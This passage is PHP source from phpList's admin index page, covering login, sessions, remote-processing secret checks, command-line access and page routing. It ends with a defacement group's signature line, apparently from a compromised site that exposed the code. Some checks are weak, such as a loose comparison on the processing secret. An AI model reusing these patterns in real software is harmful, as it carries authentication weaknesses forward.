$THEMES[$_SESSION['ui']]; if (!empty($_GET['page']) && $_GET['page'] == 'logout' && empty($_GET['err'])) { foreach ($GLOBALS['plugins'] as $pluginname => $plugin) { $plugin->logout(); } $_SESSION['adminloggedin'] = ''; $_SESSION['logindetails'] = ''; session_destroy(); Redirect('home'); } //# send a header for IE header('X-UA-Compatible: IE=Edge'); //# tell SE's to leave us alone header('X-Robots-Tag: noindex'); if (!$ajax && !$GLOBALS['commandline']) { if (USE_MINIFIED_ASSETS && file_exists(dirname(__FILE__).'/ui/'.$GLOBALS['ui'].'/pagetop_minified.php')) { include_once dirname(__FILE__).'/ui/'.$GLOBALS['ui'].'/pagetop_minified.php'; } else { include_once dirname(__FILE__).'/ui/'.$GLOBALS['ui'].'/pagetop.php'; } } if (isset($GLOBALS['pageheader'])) { foreach ($GLOBALS['pageheader'] as $sHeaderItem => $sHtml) { echo '<!--'.$sHeaderItem.'-->'.$sHtml; echo "\n"; } } $GLOBALS['require_login'] = 1; ## this is no longer configurable and should never have been if ($GLOBALS['commandline']) { cl_output(ClineSignature()); if (!isset($_SERVER['USER']) && is_array($GLOBALS['commandline_users']) && count($GLOBALS['commandline_users'])) { clineError('USER environment variable is not defined, cannot do access check. Please make sure USER is defined.'); exit; } if (is_array($GLOBALS['commandline_users']) && count($GLOBALS['commandline_users']) && !in_array($_SERVER['USER'], $GLOBALS['commandline_users']) ) { clineError('Sorry, You ('.$_SERVER['USER'].') do not have sufficient permissions to run phplist on commandline'); exit; } $GLOBALS['require_login'] = 0; // getopt is actually useless //$opt = getopt("p:"); $IsCommandlinePlugin = isset($cline['m']) && in_array($cline['m'], $GLOBALS['commandlinePlugins']); if ($cline['p'] && !$IsCommandlinePlugin) { if (empty($GLOBALS['developer_email']) && isset($cline['p']) && !in_array($cline['p'], $GLOBALS['commandline_pages']) ) { clineError($cline['p'].' does not process commandline'); } elseif (isset($cline['p'])) { $_GET['page'] = $cline['p']; } cl_processtitle('core-'.$_GET['page']); } elseif ($cline['p'] && $IsCommandlinePlugin) { if (empty($GLOBALS['developer_email']) && isset($cline['p']) && !in_array($cline['p'], $commandlinePluginPages[$cline['m']]) ) { clineError($cline['p'].' does not process commandline'); } elseif (isset($cline['p'])) { $_GET['page'] = $cline['p']; $_GET['pi'] = $cline['m']; cl_processtitle($_GET['pi'].'-'.$_GET['page']); } } else { clineUsage(' [other parameters]'); cl_output(s('Available options:')); @ob_end_clean(); foreach ($GLOBALS['commandline_pages'] as $page){ echo ' '.$page.PHP_EOL; } foreach ($GLOBALS['commandlinePluginPages'] as $plugin => $pluginPages){ foreach ($pluginPages as $page) { echo ' ' . $page .' -m'.$plugin. PHP_EOL; } } exit; } } else { if (CHECK_REFERRER && isset($_SERVER['HTTP_REFERER'])) { //# do a crude check on referrer. Won't solve everything, as it can be faked, but shouldn't hurt $ref = parse_url($_SERVER['HTTP_REFERER']); $parts = explode(':', $_SERVER['HTTP_HOST']); if ($ref['host'] != $parts[0] && !in_array($ref['host'], $allowed_referrers)) { echo 'Access denied <script type="text/javascript">document.location = document.location</script>'; exit; } } } if (!isset($_GET['page'])) { $page = $GLOBALS['homepage']; } else { $page = $_GET['page']; } if (preg_match("/([\w_]+)/", $page, $regs)) { $page = $regs[1]; } else { $page = ''; } if (!is_file($page.'.php') && !isset($_GET['pi'])) { $page = $GLOBALS['homepage']; } if (!$GLOBALS['admin_auth_module']) { // stop login system when no admins exist if (!Sql_Table_Exists($tables['admin'])) { $GLOBALS['require_login'] = 0; } else { $num = Sql_Query("select * from {$tables['admin']}"); if (!Sql_Affected_Rows()) { $msg = s('Login not available. Create an account first.'); } } } elseif (!Sql_Table_exists($GLOBALS['tables']['config'])) { $GLOBALS['require_login'] = 0; } $plugin = !empty($GLOBALS['plugins'][$_GET['pi']]) && isset($GLOBALS['plugins'][$_GET['pi']]) ? $GLOBALS['plugins'][$_GET['pi']] : null; if ($plugin) { $page_title = $plugin->pageTitle($page); } else { $page_title = $GLOBALS['I18N']->pageTitle($page); } echo '<title>'.NAME.' :: '; if (isset($GLOBALS['installation_name'])) { echo $GLOBALS['installation_name'].' :: '; } echo "$page_title</title>"; $inRemoteCall = false; $doLoginCheck = Sql_Table_exists($tables['admin_login']); if (!empty($GLOBALS['require_login'])) { //bth 7.1.2015 to support x-forwarded-for $remoteAddr = getClientIP(); if ($GLOBALS['authenticationplugin']) { $GLOBALS['admin_auth'] = $GLOBALS['plugins'][$GLOBALS['authenticationplugin']]; } else { require __DIR__.'/phpListAdminAuthentication.php'; $GLOBALS['admin_auth'] = new phpListAdminAuthentication(); } if ((!isset($_SESSION['adminloggedin']) || !$_SESSION['adminloggedin']) && isset($_REQUEST['login']) && isset($_REQUEST['password'])) { $loginresult = $GLOBALS['admin_auth']->validateLogin($_REQUEST['login'], $_REQUEST['password']); if (!$loginresult[0]) { $_SESSION['adminloggedin'] = ''; $_SESSION['logindetails'] = ''; $page = 'login'; logEvent(sprintf($GLOBALS['I18N']->get('invalid login from %s, tried logging in as %s'), $remoteAddr, $_REQUEST['login'])); $msg = $loginresult[1]; } else { session_regenerate_id(); if ($doLoginCheck) { # invalidate other active sessions Sql_Query(sprintf('update %s set active = 0 where adminid = %d and active != 0',$GLOBALS['tables']['admin_login'],$loginresult[0])); } $_SESSION['adminloggedin'] = $remoteAddr; $_SESSION['logindetails'] = array( 'adminname' => $_REQUEST['login'], 'id' => $loginresult[0], 'superuser' => $admin_auth->isSuperUser($loginresult[0]), 'passhash' => sha1($_REQUEST['password']), ); //#16692 - make sure admin permissions apply at first login $GLOBALS['admin_auth']->validateAccount($_SESSION['logindetails']['id']); unset($_SESSION['session_age']); if (!empty($_POST['page'])) { $page = preg_replace('/\W+/', '', $_POST['page']); } if ($doLoginCheck) { # check if this is a new IP address $knownIP = Sql_Fetch_Row_Query(sprintf('select * from %s where remote_ip4 = "%s" and adminid = %d ',$GLOBALS['tables']['admin_login'],$remoteAddr,$loginresult[0])); if (empty($knownIP[0])) { notifyNewIPLogin($loginresult[0]); } Sql_Query(sprintf('insert into %s (moment,adminid,remote_ip4,remote_ip6,sessionid,active) values(%d,%d,"%s","%s","%s",1)', $GLOBALS['tables']['admin_login'],time(),$loginresult[0],$remoteAddr,"",session_id())); } } //If passwords are encrypted and a password recovery request was made, send mail to the admin of the given email address. } elseif (isset($_REQUEST['forgotpassword'])) { $adminId = $GLOBALS['admin_auth']->adminIdForEmail($_REQUEST['forgotpassword']); if ($adminId) { $msg = sendAdminPasswordToken($adminId); } else { $msg = $GLOBALS['I18N']->get('Failed sending a change password token'); } $page = 'login'; } elseif (!empty($_GET['secret']) && in_array($_GET['page'], $plugin === null ? array('processbounces', 'processqueue', 'processcron') : $plugin->remotePages)) { //# remote processing call $ourSecret = getConfig('remote_processing_secret'); if ($ourSecret != $_GET['secret']) { @ob_end_clean(); echo 'Error'.': '.s('Incorrect processing secret'); exit; } $_SESSION['adminloggedin'] = $remoteAddr; $_SESSION['logindetails'] = array( 'adminname' => 'remotecall', 'id' => 0, 'superuser' => 0, 'passhash' => 'xxxx', ); $inRemoteCall = true; } elseif (!isset($_SESSION['adminloggedin']) || !$_SESSION['adminloggedin']) { //$msg = 'Not logged in'; $logged = false; foreach ($GLOBALS['plugins'] as $pluginname => $plugin) { if ($plugin->login()) { $logged = true; break; } } if (!$logged) { $page = 'login'; } } elseif (CHECK_SESSIONIP && $_SESSION['adminloggedin'] && $_SESSION['adminloggedin'] != $remoteAddr) { logEvent(sprintf($GLOBALS['I18N']->get('login ip invalid from %s for %s (was %s)'), $remoteAddr, $_SESSION['logindetails']['adminname'], $_SESSION['adminloggedin'])); $msg = $GLOBALS['I18N']->get('Your IP address has changed. For security reasons, please login again'); $_SESSION['adminloggedin'] = ''; $_SESSION['logindetails'] = ''; $page = 'login'; } elseif ($_SESSION['adminloggedin'] && $_SESSION['logindetails']) { if ($doLoginCheck) { $active = Sql_Fetch_Row_Query(sprintf('select active from %s where adminid = %d and (remote_ip4 = "%s" or remote_ip6 = "%s") and sessionid = "%s"', $GLOBALS['tables']['admin_login'],$_SESSION['logindetails']['id'],$remoteAddr,"",session_id())); } else { $active = array(1); ## pretend to be active } $validate = $GLOBALS['admin_auth']->validateAccount($_SESSION['logindetails']['id']); if (empty($active[0]) || !$validate[0]) { logEvent(sprintf($GLOBALS['I18N']->get('invalidated login from %s for %s (error %s)'), $remoteAddr, $_SESSION['logindetails']['adminname'], $validate[1])); $_SESSION['adminloggedin'] = ''; $_SESSION['logindetails'] = ''; $page = 'login'; if (empty($active[0])) { $msg = s('Your session was invalidated by a new session in a different browser'); } else { $msg = $validate[1]; } } } else { $page = 'login'; } } if ($page == 'login') { unset($_GET['pi']); } if (!empty($_SESSION['adminloggedin']) && !empty($_SESSION['session_age']) && $_SESSION['session_age'] > SESSION_TIMEOUT) { $_SESSION['adminloggedin'] = ''; $_SESSION['logindetails'] = ''; $page = 'login'; $msg = s('Your session timed out, please log in again'); } //# force to login page, if an Ajax call is made without being logged in if ($ajax && empty($_SESSION['adminloggedin'])) { $_SESSION['action_result'] = s('Your session timed out, please login again'); echo '<script type="text/javascript">top.location = "./?page=home";</script>'; exit; } ## add a few menu options when the admin is superuser if (isSuperUser() && ALLOW_UPDATER) { $GLOBALS['pagecategories']['system']['pages'][] = 'update'; $GLOBALS['pagecategories']['system']['menulinks'][] = 'update'; } if (isSuperUser()) { foreach (array('admins','admin','importadmin','adminattributes') as $adminPage) { $GLOBALS['pagecategories']['config']['menulinks'][] = $adminPage; $GLOBALS['pagecategories']['config']['pages'][] = $adminPage; } } $languageswitcher = ''; if (LANGUAGE_SWITCH && empty($logoutontop) && !$ajax && empty($_SESSION['firstinstall']) && empty($_GET['firstinstall'])) { $languageswitcher = ' <div id="languageswitcher"> <form name="languageswitchform" method="post" action="">'; $languageswitcher .= ' <select name="setlanguage" onchange="document.languageswitchform.submit()">'; $lancount = 0; foreach ($GLOBALS['LANGUAGES'] as $iso => $rec) { // if (is_dir(dirname(__FILE__).'/locale/'.$iso)) { $languageswitcher .= sprintf(' <option value="%s" %s>%s</option>', $iso, $_SESSION['adminlanguage']['iso'] == $iso ? 'selected="selected"' : '', $rec[0]); ++$lancount; // } } $languageswitcher .= ' </select> </form> </div>'; if ($lancount <= 1) { $languageswitcher = ''; } } $themeswitcher = ''; if (THEME_SWITCH && empty($logoutontop) && !$ajax && empty($_SESSION['firstinstall']) && empty($_GET['firstinstall'])) { $themeswitcher = ' <div id="themeswitcher"> <form name="themeswitchform" method="post" action="">'; $themeswitcher .= ' <select name="settheme" onchange="document.themeswitchform.submit()">'; $themecount = 0; foreach ($GLOBALS['THEMES'] as $theme => $themeData) { $themeswitcher .= sprintf(' <option value="%s" %s>%s</option>', $theme, $_SESSION['ui'] == $theme ? 'selected="selected"' : '', htmlspecialchars(strip_tags($themeData['name']))); ++$themecount; } $themeswitcher .= ' </select> </form> </div>'; if ($themecount <= 1) { $themeswitcher = ''; } } require_once dirname(__FILE__).'/setpermissions.php'; $include = ''; if ($page != '' && $page != 'install') { preg_match("/([\w_]+)/", $page, $regs); $include = $regs[1]; $include .= '.php'; $include = $page.'.php'; } else { $include = $GLOBALS['homepage'].'.php'; } $pageinfo = new pageInfo(); $pageinfo->fetchInfoContent($include); if (is_file('ui/'.$GLOBALS['ui'].'/mainmenu.php')) { include 'ui/'.$GLOBALS['ui'].'/mainmenu.php'; } if (!$ajax) { if (USE_MINIFIED_ASSETS && file_exists(dirname(__FILE__).'/ui/'.$GLOBALS['ui'].'/header_minified.inc')) { include 'ui/'.$GLOBALS['ui'].'/header_minified.inc'; } else { include 'ui/'.$GLOBALS['ui'].'/header.inc'; } } if (!$ajax) { echo '<h4 class="pagetitle">'.$page_title.'</h4>'; } echo '<div class="hidden">'.PageLink2('home', s('Main page')).'</div>'; if ($page != 'login') { if ($page == 'logout') { $greeting = $GLOBALS['I18N']->get('goodbye'); } else { $hr = date('G'); if ($hr > 0 && $hr < 12) { $greeting = $GLOBALS['I18N']->get('good morning'); } elseif ($hr <= 18) { $greeting = $GLOBALS['I18N']->get('good afternoon'); } else { $greeting = $GLOBALS['I18N']->get('good evening'); } } if ($page != 'logout' && empty($logoutontop) && !$ajax) { // print '<div class="right">'.PageLink2("logout",$GLOBALS['I18N']->get('logout')).'</div>'; if (!empty($_SESSION['firstinstall']) && $page != 'setup') { $firstInstallButton = '<div id="firstinstallbutton">'.PageLinkClass('setup', s('Continue Configuration'), '', 'firstinstallbutton').'</div>'; } } } if (!$GLOBALS['commandline']) { echo '<noscript>'; Info(s('phpList will work without Javascript, but it will be easier to use if you switch it on.')); echo '</noscript>'; } if (!$ajax && $page != 'login') { if (strpos(VERSION, 'dev') && !TEST) { if (!empty($GLOBALS['developer_email'])) { Info( s('Running DEV version. All emails will be sent to '.$GLOBALS['developer_email']) ); } else { Info( s('Running DEV version, but developer email is not set') ); } } if (TEST) { echo Info($GLOBALS['I18N']->get('Running in testmode, no emails will be sent. Check your config file.')); } if (ALLOW_UPDATER || $updaterplugin) { $updaterdir = __DIR__ . '/../updater'; include 'updateLib.php'; $updateNotif = checkForUpdate(); if ($updateNotif !== '' && $_GET['page'] !== 'update') { $moreInfo = ' <ul><li><a href="https://www.phplist.com/download?utm_source=pl' . VERSION . '&utm_medium=updatedownload&utm_campaign=phpList" title="' . s('Download the new version') . '" target="_blank">' . s('Download the new version') . '</a></li>'; if ($updaterplugin) { $class = get_class($updaterplugin); $moreInfo .= '<li>'.s('or use the %sphpList Updater%s', sprintf('<a href="?page=update&pi=%s" title="', $class) . s('automatic updater') . '">','</a>'); } elseif (file_exists($updaterdir)) { $moreInfo .= '<li>'.s('or use the %sphpList Updater%s','<a href="?page=update" title="' . s('automatic updater') . '">','</a>'); } $moreInfo .= '</ul>'; Info($updateNotif . '' . $moreInfo); } } if (version_compare(PHP_VERSION, '5.3.3', '<') && WARN_ABOUT_PHP_SETTINGS) { Error(s('Your PHP version is out of date. phpList requires PHP version 5.3.3 or higher.')); } if (defined('RELEASEDATE') && ((time() - RELEASEDATE) / 31536000) > 2) { Fatal_Error(s('Your phpList version is older than two years. Please %supgrade phpList</a> before continuing.</br> Visit <a href="https://www.phplist.org/users/" title="'.s('Get some help').'">the support site</a> if you need some help.' ,'<a href="https://www.phplist.com/download?utm_source=pl'.VERSION.'&utm_medium=outdated-download-forced&utm_campaign=phpList" title="'.s('Download the latest version').'" target="_blank">')); return; } if (defined('ENABLE_RSS') && ENABLE_RSS && !function_exists('xml_parse') && WARN_ABOUT_PHP_SETTINGS) { Warn($GLOBALS['I18N']->get('You are trying to use RSS, but XML is not included in your PHP')); } if (ALLOW_ATTACHMENTS && WARN_ABOUT_PHP_SETTINGS && (!is_dir($GLOBALS['attachment_repository']) || !is_writable($GLOBALS['attachment_repository']))) { if (ini_get('open_basedir')) { Warn($GLOBALS['I18N']->get('open_basedir restrictions are in effect, which may be the cause of the next warning')); } Warn($GLOBALS['I18N']->get('The attachment repository does not exist or is not writable')); } if (MANUALLY_PROCESS_QUEUE && isSuperUser() && empty($_GET['pi']) && //# hmm, how many more pages to not show this? (!isset($_GET['page']) || ($_GET['page'] != 'processqueue' && $_GET['page'] != 'messages' && $_GET['page'] != 'upgrade')) ) { //# avoid error on uninitialised DB if (Sql_Table_exists($tables['message'])) { $queued_count = Sql_Fetch_Row_Query(sprintf('select count(id) from %s where status in ("submitted","inprocess") and embargo < now()', $tables['message'])); if ($queued_count[0]) { $link = PageLinkButton('processqueue', s('Process the queue')); $link2 = PageLinkButton('messages&tab=active', s('View the queue')); if ($link || $link2) { echo Info(sprintf(s('You have %s campaign(s) in the queue, ready for processing'), $queued_count[0]).'<br/>'.$link.' '.$link2); } } } } } // always allow access to the about page if (isset($_GET['page']) && $_GET['page'] == 'about') { $page = 'about'; $include = 'about.php'; } echo $pageinfo->show(); if (!empty($_GET['action']) && $_GET['page'] != 'pageaction' && !empty($_SESSION['adminloggedin'])) { $action = basename($_GET['action']); if (is_file(dirname(__FILE__).'/actions/'.$action.'.php')) { $status = ''; //# the page action return the result in $status include dirname(__FILE__).'/actions/'.$action.'.php'; echo '<div id="actionresult">'.$status.'</div>'; } } /* * * show global news, based on the version in use * * **/ //if (empty($_SESSION['newsshown'])) { ## keep flag to only show one message per session if (!empty($_SESSION['logindetails']['id']) && defined('PHPLISTNEWSROOT') && PHPLISTNEWSROOT) { //# for testing if (!empty($_GET['reset']) && $_GET['reset'] == 'news') { SaveConfig('readnews'.$_SESSION['logindetails']['id'], '', 0, 1); SaveConfig('viewednews'.$_SESSION['logindetails']['id'], '', 0, 1); SaveConfig('phpListNewsLastChecked-'.$_SESSION['adminlanguage']['iso'], '', 0, 1); SaveConfig('phpListNewsIndex-'.$_SESSION['adminlanguage']['iso'], '', 0, 1); clearPageCache(); } $readmessagesconf = getConfig('readnews'.$_SESSION['logindetails']['id']); $readmessages = unserialize($readmessagesconf); if (!is_array($readmessages)) { $readmessages = array(); } /* also keep track of when a message is viewed and suppress it if it hasn't been closed after several views */ $viewedmessagesconf = getConfig('viewednews'.$_SESSION['logindetails']['id']); $viewedmessages = unserialize($viewedmessagesconf); if (!is_array($viewedmessages)) { $viewedmessages = array(); } $news = array(); // we only need it once per language per system, regardless of admins $phpListNewsLastChecked = getConfig('phpListNewsLastChecked-'.$_SESSION['adminlanguage']['iso']); if (empty($phpListNewsLastChecked) || ($phpListNewsLastChecked + 86400 < time())) { SaveConfig('phpListNewsLastChecked-'.$_SESSION['adminlanguage']['iso'], time(), 0, 1); $newsIndex = fetchUrlDirect(PHPLISTNEWSROOT.'/'.VERSION.'-'.$_SESSION['adminlanguage']['iso'].'-index.txt'); SaveConfig('phpListNewsIndex-'.$_SESSION['adminlanguage']['iso'], $newsIndex, 0, 1); } $newsIndex = getConfig('phpListNewsIndex-'.$_SESSION['adminlanguage']['iso']); if (!empty($newsIndex)) { $newsitems = explode("\n", $newsIndex); foreach ($newsitems as $newsitem) { $newsitem = trim($newsitem); if (!empty($newsitem) && !in_array(md5($newsitem), $readmessages) && ( empty($viewedmessages[md5($newsitem)]['count']) || $viewedmessages[md5($newsitem)]['count'] < 20) ) { $newscontent = fetchUrl(PHPLISTNEWSROOT.'/'.$newsitem); if (!empty($newscontent)) { $news[$newsitem] = $newscontent; } } } ksort($news); $newscontent = ''; foreach ($news as $newsitem => $newscontent) { $newsid = md5($newsitem); if (!isset($viewedmessages[$newsid])) { $viewedmessages[$newsid] = array( 'time' => time(), 'count' => 1, ); } else { ++$viewedmessages[$newsid]['count']; } SaveConfig('viewednews'.$_SESSION['logindetails']['id'], serialize($viewedmessages), 0, 1); $newscontent = '<div class="news"><a href="./?page=markread&id='.$newsid.'" class="ajaxable hide" title="'.s('Hide forever').'">'.s('Hide forever').'</a>'.$newscontent.'</div>'; break; } } if (!empty($newscontent)) { $_SESSION['newsshown'] = time(); echo '<div class="panel announcements closethisone">'; echo '<div class="content">'; echo $newscontent; echo '</div>'; echo '</div>'; } } //} // end of show one per session (not used) /* * * end of news * * **/ if (WARN_ABOUT_PHP_SETTINGS && !$GLOBALS['commandline']) { if (strpos(getenv('REQUEST_URI'), $pageroot.'/admin') !== 0) { Warn(s( 'The pageroot in your config "%s" does not match the current location "%s". Check your config file.', $pageroot, strstr(getenv('REQUEST_URI'), '/admin', true) )); } } clearstatcache(); if (empty($_GET['pi']) && (is_file($include) || is_link($include))) { if (checkAccess($page) || $page == 'about') { // check whether there is a language file to include if (is_file('lan/'.$_SESSION['adminlanguage']['iso'].'/'.$include)) { include 'lan/'.$_SESSION['adminlanguage']['iso'].'/'.$include; } if (is_file('ui/'.$GLOBALS['ui'].'/pages/'.$include)) { $include = 'ui/'.$GLOBALS['ui'].'/pages/'.$include; } // print "Including $include<br/>"; // hmm, pre-parsing and capturing the error would be nice //$parses_ok = eval(@file_get_contents($include)); $parses_ok = 1; if (!$parses_ok) { echo Error("cannot parse $include"); echo '<p class="error">Sorry, an error occurred. This is a bug. Please <a href="https://github.com/phpList/phplist3/issues">report the bug to the Bug Tracker</a><br/>Sorry for the inconvenience</a></p>'; } else { if (!empty($_SESSION['action_result'])) { echo '<div class="actionresult">'.$_SESSION['action_result'].'</div>'; // print '<script>alert("'.$_SESSION['action_result'].'")</script>'; unset($_SESSION['action_result']); } if ($GLOBALS['commandline'] || !empty($_GET['secret'])) { @ob_end_clean(); @ob_start(); } $mm = inMaintenanceMode(); if (empty($mm) || $GLOBALS['commandline'] || $page == 'login' || $page == 'about' || $page == 'community') { if (isset($GLOBALS['developer_email'])) { include $include; } else { @include $include; } } else { print '<h1>'.s('phpList is in maintenance mode.<br/>Please try again in half an hour.'). '<h1>'; } } } else { Error(s('Access Denied')); } // print "End of inclusion<br/>"; } elseif ($plugin !== null && isset($GLOBALS['plugins']) && is_array($GLOBALS['plugins']) && is_object($GLOBALS['plugins'][$_GET['pi']])) { $menu = $plugin->adminmenu(); if (checkAccess($page, $_GET['pi'])) { if (is_file($plugin->coderoot.$include)) { include $plugin->coderoot.$include; } elseif ($include == 'main.php' || $page == 'home') { echo '<h3>'.$plugin->name.'</h3><ul>'; foreach ($menu as $page => $desc) { echo '<li>'.PageLink2($page, $desc).'</li>'; } echo '</ul>'; } elseif ($page != 'login') { echo '<br/>'."$page -> ".s('Sorry this page was not found in the plugin').'<br/>'; //.' '.$plugin->coderoot.$include.'<br/>'; cl_output("$page -> ".s('Sorry this page was not found in the plugin')); //. ' '.$plugin->coderoot . "$include"); } } else { Error(s('Access Denied')); } } else { if ($GLOBALS['commandline']) { clineError(s('Sorry, that module does not exist')); exit; } if (is_file('ui/'.$GLOBALS['ui'].'/pages/'.$include)) { include 'ui/'.$GLOBALS['ui'].'/pages/'.$include; } else { echo "$page -> ".$GLOBALS['I18N']->get('Sorry, not implemented yet'); } } // some debugging stuff $now = gettimeofday(); $finished = $now['sec'] * 1000000 + $now['usec']; $elapsed = $finished - $GLOBALS['pagestats']['time_start']; $elapsed = ($elapsed / 1000000); echo "\n\n".'<!--'; if (!empty($GLOBALS['developer_email'])) { echo '<br clear="all" />'; echo $GLOBALS['pagestats']['number_of_queries']." db queries in $elapsed seconds"; if (function_exists('memory_get_peak_usage')) { $memory_usage = 'Peak: '.memory_get_peak_usage(); } elseif (function_exists('memory_get_usage')) { $memory_usage = memory_get_usage(); } else { $memory_usage = 'Cannot determine with this PHP version'; } echo '<br/>Memory usage: '.$memory_usage; } if (isset($GLOBALS['statslog']) && !empty($_SERVER['REQUEST_URI'])) { if ($fp = @fopen($GLOBALS['statslog'], 'a')) { @fwrite($fp, $GLOBALS['pagestats']['number_of_queries']."\t$elapsed\t".$_SERVER['REQUEST_URI']."\t NAME:".$GLOBALS['installation_name']."\n"); } } echo '-->'; if (!empty($GLOBALS['inRemoteCall']) || $ajax || !empty($GLOBALS['commandline'])) { @ob_end_clean(); exit; } elseif (!isset($_GET['omitall'])) { if (!$GLOBALS['compression_used']) { @ob_end_flush(); } if (USE_MINIFIED_ASSETS && file_exists(dirname(__FILE__).'/ui/'.$GLOBALS['ui'].'/footer_minified.inc')) { include_once 'ui/'.$GLOBALS['ui'].'/footer_minified.inc'; } else { include_once 'ui/'.$GLOBALS['ui'].'/footer.inc'; } } if (isset($GLOBALS['pagefooter'])) { foreach ($GLOBALS['pagefooter'] as $sFooterItem => $sHtml) { echo '<!--'.$sFooterItem.'-->'.$sHtml; echo "\n"; } } echo '</body></html>'; function parseCline() { $res = array(); $cur = ''; foreach ($GLOBALS['argv'] as $clinearg) { if (substr($clinearg, 0, 1) == '-') { $par = substr($clinearg, 1, 1); $clinearg = substr($clinearg, 2, strlen($clinearg)); // $res[$par] = ""; $cur = mb_strtolower($par); if (!isset($res[$cur])) { $res[$cur] = ''; } $res[$cur] .= $clinearg; } elseif ($cur) { if ($res[$cur]) { $res[$cur] .= ' '.$clinearg; } else { $res[$cur] .= $clinearg; } } } /* ob_end_clean(); foreach ($res as $key => $val) { print "$key = $val\n"; } ob_start();*/ return $res; }
Copyright ©2021 || Defacer Indonesia